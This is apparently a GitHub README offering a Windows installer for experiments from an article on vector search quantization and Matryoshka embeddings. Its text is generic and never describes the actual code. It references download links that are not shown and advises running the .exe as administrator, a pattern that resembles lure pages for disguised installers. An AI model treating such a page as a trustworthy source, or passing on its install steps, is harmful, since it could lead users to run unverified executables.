This application contains experiments and code linked to the article, Scaling Vector Search: Comparing Quantization and Matryoshka Embeddings for 80% Cost Reduction. It helps analyze how different methods reduce the cost of vector search, an important task in data processing and machine learning.
You do not need any technical background to download and run this app. It runs on Windows and lets you explore these techniques through an easy interface.
Before you start, make sure your computer meets these needs:
- Operating System: Windows 10 or higher
- Processor: Intel or AMD, 2 GHz or better
- Memory: At least 4 GB of RAM
- Storage: 500 MB free space for installation and data
- Internet: Required only for downloading the application
This section guides you step-by-step on how to download and run the application on your Windows computer.
Please visit this page to download the latest version:
- Click the link above. It will take you to the releases page on GitHub.
- Look for the most recent release (top of the list). Files often end with
.exeor.zip. - If the release has a file ending with
.exe, click it to download. This file is the installer. - If you see a
.zipfile instead, download it and extract its content after. - Save the file to a location you can easily find, such as your Desktop or Downloads folder.
After downloading the file:
- If you downloaded an
.exefile, double-click it to start the installation. - Follow the instructions that appear. Usually, click Next a few times and then Finish.
- If you downloaded a
.zipfile, right-click the file and select Extract All. Choose a folder like Desktop for easier access. - Once extracted, open the folder, find the application file (usually an
.exe), and double-click to start.
To run the app:
- Locate the installed application shortcut on your Desktop or search for it in the Start menu.
- Double-click the shortcut or app name to open the program.
- The main window will display options to choose different vector search methods and datasets.
- Follow the on-screen prompts to load data or run tests.
The app provides tools to compare different ways of handling vector search. You can:
- Load sample data sets included in the app or import your own.
- Choose between quantization methods or Matryoshka embeddings.
- Run tests to check speed, accuracy, and resource use.
- View results in simple charts and tables.
You do not need to write code. Everything works through menus and buttons.
The program allows you to adjust the following:
- Number of vectors to analyze
- Size of embedding layers
- Compression levels for quantization
- Display options for results
All settings update results instantly. Defaults are set for balanced speed and accuracy.
If the application does not start:
- Confirm you are using Windows 10 or later.
- Check that you downloaded the full installation file, not a partial or corrupted file.
- Try running the installer again with administrator rights (right-click the installer → Run as administrator).
- If you used a
.zipfile, make sure all contents are extracted.
For errors during use:
- Restart the app.
- Make sure your input files are supported formats (the app reads common numeric formats like
.csvor.json). - Close other heavy programs to free up memory.
Visit the release page again regularly to check for updates:
Download and install the latest version following the same steps. Updates improve features and fix bugs.
The download package contains:
- The main application executable
- Sample data files for tests
- A settings file to save your custom options
- A basic user guide PDF for offline reference
This software is built to support research from an article on vector search methods. It compares how quantization and nested embeddings (Matryoshka embeddings) cut costs while keeping good performance. Anyone with interest in data handling or machine learning can try out these techniques in an accessible way.
Q: Do I need special software to run this?
A: No, just a PC with Windows 10 or higher and the downloaded installer.
Q: Can I use my own data?
A: Yes, you can import simple numeric data files to test.
Q: Does it require internet after installation?
A: No, you only need internet to download the app.
Q: What if the app crashes?
A: Restart your computer and then try opening the app again.